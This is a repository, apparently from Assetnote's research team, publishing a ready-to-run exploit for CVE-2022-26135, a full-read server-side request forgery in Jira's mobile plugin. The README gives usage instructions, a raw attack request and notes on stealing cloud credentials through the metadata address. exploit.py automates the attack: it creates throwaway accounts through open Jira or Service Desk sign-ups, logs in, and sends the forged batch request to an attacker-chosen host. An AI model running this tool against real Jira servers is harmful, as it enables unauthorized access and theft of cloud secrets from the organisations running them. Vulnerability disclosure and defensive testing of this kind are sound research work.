├── requirements.txt ├── README.md └── exploit.py /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | beautifulsoup4 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-26135 - Full-Read Server Side Request Forgery in Mobile Plugin for Jira Data Center and Server 2 | 3 | ## About Assetnote 4 | 5 | Assetnote automatically maps your external assets and monitors them for changes and security issues to help prevent serious breaches. 6 | 7 | This research was performed by Assetnote's Security Research team. 8 | 9 | You can read more about our product and our team at [https://assetnote.io](https://assetnote.io). 10 | 11 | ## Blog Post 12 | 13 | The blog post detailing the steps taken for the discovery of this vulnerability can be found [here](https://blog.assetnote.io/2022/06/26/exploiting-ssrf-in-jira/). 14 | 15 | ## Description 16 | 17 | Jira Core & Jira Service Desk are vulnerable to server-side request forgery after authenticating. In some cases, it is possible to leverage open sign ups in Jira Core or Jira Service Desk to exploit this server-side request forgery flaw without having known credentials. 18 | 19 | ## Impact 20 | 21 | The SSRF vulnerability allows attackers to send HTTP requests using any HTTP method, headers and body to arbitrary URLs. When Jira is deployed on a cloud environment, an attacker can leverage this exploit chain to obtain cloud credentials or other sensitive information through the metadata IP address. 22 | 23 | ## Affected Software 24 | 25 | As per the advisory from Atlassian, please see the following knowledge base article to confirm if you are running an affected software version: [https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html](https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html) 26 | 27 | # Usage Instructions 28 | 29 | ``` 30 | pip3 install -r requirements.txt 31 | ``` 32 | 33 | and then you can use the exploit using: 34 | 35 | ``` 36 | python3 exploit.py 37 | ``` 38 | 39 | Help: 40 | 41 | ``` 42 | usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD] 43 | 44 | optional arguments: 45 | -h, --help show this help message and exit 46 | --target TARGET i.e. http://re.local:8090 47 | --ssrf SSRF i.e. example.com (no protocol pls) 48 | --mode MODE i.e. manual or automatic - manual mode you need to provide user auth info 49 | --software SOFTWARE i.e. jira or jsd - only needed for manual mode 50 | --username USERNAME i.e. admin - only needed for manual jira mode 51 | --email EMAIL i.e. admin@example.com - only needed for manual jira service desk mode 52 | --password PASSWORD i.e. testing123 - only needed for manual mode 53 | ``` 54 | 55 | If you already have credentials for Jira / Jira Service Desk, then set the `--mode` to `manual` and the `--software` argument to either `jira` or `jsd`. 56 | 57 | # HTTP Request 58 | 59 | The following HTTP request can be used to reproduce this issue, once authenticated to the Jira instance: 60 | 61 | ```http 62 | POST /rest/nativemobile/1.0/batch HTTP/2 63 | Host: issues.example.com 64 | Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin 65 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 66 | Content-Type: application/json 67 | Accept: application/json, text/javascript, */*; q=0.01 68 | X-Requested-With: XMLHttpRequest 69 | Origin: https://issues.example.com 70 | Referer: https://issues.example.com/plugins/servlet/desk 71 | Accept-Encoding: gzip, deflate 72 | Accept-Language: en-US,en;q=0.9 73 | Content-Length: 63 74 | 75 | {"requests":[{"method":"GET","location":"@example.com"}]} 76 | ``` -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import string 3 | import random 4 | import argparse 5 | from bs4 import BeautifulSoup as bs4 6 | import urllib3 7 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 8 | 9 | parser = argparse.ArgumentParser() 10 | parser.add_argument("--target", help="i.e. http://re.local:8090", required=True) 11 | parser.add_argument("--ssrf", help="i.e. example.com (no protocol pls)", required=True) 12 | parser.add_argument("--mode", help="i.e. manual or automatic - manual mode you need to provide user auth info", required=True, default="automatic") 13 | parser.add_argument("--software", help="i.e. jira or jsd - only needed for manual mode") 14 | parser.add_argument("--username", help="i.e. admin - only needed for manual jira mode") 15 | parser.add_argument("--email", help="i.e. admin@example.com - only needed for manual jira service desk mode") 16 | parser.add_argument("--password", help="i.e. testing123 - only needed for manual mode") 17 | args = parser.parse_args() 18 | 19 | if args.mode == "manual": 20 | if args.software == "": 21 | print("[*] please pass in a software (jira / jsd)") 22 | if args.software == "jira" and args.email == "" and args.password == "": 23 | print("[*] must provide an email and password for jira in manual mode") 24 | if args.software == "jsd" and args.username == "" and args.password == "": 25 | print("[*] must provide an username and password for jira in manual mode") 26 | 27 | # atlast - exploit tested on jira < 8.20.3 / jira service desk < 4.20.3-REL-0018 28 | # for full list of affected jira versions please see the following URL 29 | # https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html 30 | # by shubs 31 | banner = """ 32 | _ _ _ 33 | __ _| |_| | __ _ ___| |_ 34 | / _` | __| |/ _` / __| __| 35 | | (_| | |_| | (_| \__ \ |_ 36 | \__,_|\__|_|\__,_|___/\__| 37 | 38 | jira full read ssrf [CVE-2022-26135] 39 | brought to you by assetnote [https://assetnote.io] 40 | """ 41 | 42 | print(banner) 43 | 44 | proxies = {} # proxy to burp like this - {"https":"http://localhost:8080"} 45 | session = requests.Session() 46 | 47 | def detect_jira_root(target): 48 | root_paths = ["/", "/secure/" "/jira/", "/issues/"] 49 | jira_found = "" 50 | for path in root_paths: 51 | test_url = "{}/{}".format(target, path) 52 | r = session.get(test_url, verify=False, proxies=proxies) 53 | if "ajs-base-url" in r.text: 54 | jira_found = path 55 | break 56 | return jira_found 57 | 58 | def get_jira_signup(target, base_path): 59 | test_url = "{}{}".format(target, base_path) 60 | r = session.get(test_url, verify=False, proxies=proxies) 61 | signup_enabled = False 62 | if "Signup!default.jspa" in r.text: 63 | signup_enabled = True 64 | return signup_enabled 65 | 66 | def signup_user(target, base_path): 67 | test_url = "{}{}secure/Signup!default.jspa".format(target, base_path) 68 | test_url_post = "{}{}secure/Signup.jspa".format(target, base_path) 69 | r = session.get(test_url, verify=False, proxies=proxies) 70 | if 'name="captcha"' in r.text: 71 | print("[*] url {} has captchas enabled, please complete flow manually and provide user and password as arg".format(test_url)) 72 | return False, {} 73 | if "Mode Breach" in r.text: 74 | print("[*] url {} has signups disabled, trying JSD approach".format(test_url)) 75 | return False, {} 76 | # captcha not detected, proceed with registration 77 | html_bytes = r.text 78 | soup = bs4(html_bytes, 'lxml') 79 | token = soup.find('input', {'name':'atl_token'})['value'] 80 | full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6)) 81 | email = "{}@example.com".format(full_name) 82 | password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP" 83 | paramsPost = {"password":password,"Signup":"Sign up","atl_token":token,"fullname":full_name,"email":email,"username":full_name} 84 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"} 85 | cookies = {"atlassian.xsrf.token":token} 86 | r = session.post(test_url_post, data=paramsPost, headers=headers, cookies=cookies, verify=False, proxies=proxies) 87 | if "Congratulations!" in r.text: 88 | print("[*] successful registration") 89 | user_obj = {"username": full_name, "password": password, "email": email} 90 | return True, user_obj 91 | 92 | # attempts to signup to root JSD 93 | def register_jsd(target, base_path): 94 | register_url = "{}{}servicedesk/customer/user/signup".format(target, base_path) 95 | full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6)) 96 | email = "{}@example.com".format(full_name) 97 | password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP" 98 | 99 | # try and sign up to the service desk portal without project IDs (easy win?) 100 | rawBody = "{{\"email\":\"{}\",\"fullname\":\"{}\",\"password\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email, full_name, password) 101 | headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"} 102 | r = session.post(register_url, data=rawBody, headers=headers, verify=False, proxies=proxies) 103 | if r.status_code == 204: 104 | print("[*] successful registration") 105 | user_obj = {"username": full_name, "password": password, "email": email} 106 | return True, user_obj 107 | print("[*] url {} has non-captcha user/pass signups disabled :(".format(register_url)) 108 | register_email_url = "{}{}servicedesk/customer/user/emailsignup".format(target, base_path) 109 | rawBody = "{{\"email\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email) 110 | r = session.post(register_email_url, data=rawBody, headers=headers, verify=False, proxies=proxies) 111 | if r.status_code == 204: 112 | print("[*] registration may be possible via emailsignup endpoint") 113 | print("[*] you will have to manually exploit this with a real email") 114 | print("[*] visit {}".format(register_url)) 115 | return False, {} 116 | if r.status_code == 400: 117 | print("[*] registration may be possible via emailsignup endpoint") 118 | print("[*] you will have to manually exploit this with a real email and captcha") 119 | print("[*] visit {}".format(register_url)) 120 | return False, {} 121 | print(r.status_code) 122 | return False, {} 123 | 124 | def exploit_ssrf_jsd(target, base_path, user_obj, ssrf_host): 125 | login_url = "{}{}servicedesk/customer/user/login".format(target, base_path) 126 | paramsPost = {"os_password":user_obj["password"],"os_username":user_obj["email"]} 127 | headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"} 128 | r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies) 129 | 130 | if "loginSucceeded" in r.text: 131 | print("[*] successful login") 132 | 133 | test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path) 134 | rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host) 135 | headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"} 136 | r = session.post(test_url, data=rawBody, headers=headers) 137 | 138 | print("Status code: %i" % r.status_code) 139 | print("Response body: %s" % r.content) 140 | 141 | def exploit_ssrf_jira(target, base_path, user_obj, ssrf_host): 142 | login_url = "{}{}login.jsp".format(target, base_path) 143 | paramsPost = {"os_password":user_obj["password"],"user_role":"","os_username":user_obj["username"],"atl_token":"","os_destination":"","login":"Log In"} 144 | headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"} 145 | r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies) 146 | 147 | if r.headers["X-Seraph-LoginReason"] == "OK": 148 | print("[*] successful login") 149 | 150 | test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path) 151 | rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host) 152 | headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"} 153 | r = session.post(test_url, data=rawBody, headers=headers) 154 | 155 | print("Status code: %i" % r.status_code) 156 | print("Response body: %s" % r.content) 157 | 158 | 159 | # target = "http://re.local:8090" 160 | # ssrf_host = "907zer1sxey5czbnnf7p9d1zfqlj98.oastify.com" 161 | 162 | user_obj = {} 163 | 164 | successful_jira_signup = False 165 | successful_jsd_signup = False 166 | 167 | jira_root = detect_jira_root(args.target) 168 | 169 | if args.mode == "manual" and args.software == "jira": 170 | user_obj = {"username": args.username, "password": args.password, "email": args.email} 171 | exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf) 172 | 173 | if args.mode == "manual" and args.software == "jsd": 174 | user_obj = {"username": args.username, "password": args.password, "email": args.email} 175 | exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf) 176 | 177 | if args.mode == "automatic": 178 | signup_enabled = get_jira_signup(args.target, jira_root) 179 | successful_jira_signup, user_obj = signup_user(args.target, jira_root) 180 | 181 | if successful_jira_signup == True: 182 | exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf) 183 | 184 | if successful_jira_signup == False: 185 | # try to sign up to jira service desk instead 186 | successful_jsd_signup, user_obj = register_jsd(args.target, jira_root) 187 | if successful_jsd_signup: 188 | exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf) 189 | 190 | if successful_jira_signup == False and successful_jsd_signup == False: 191 | print("[*] sorry boss no ssrf for you today") --------------------------------------------------------------------------------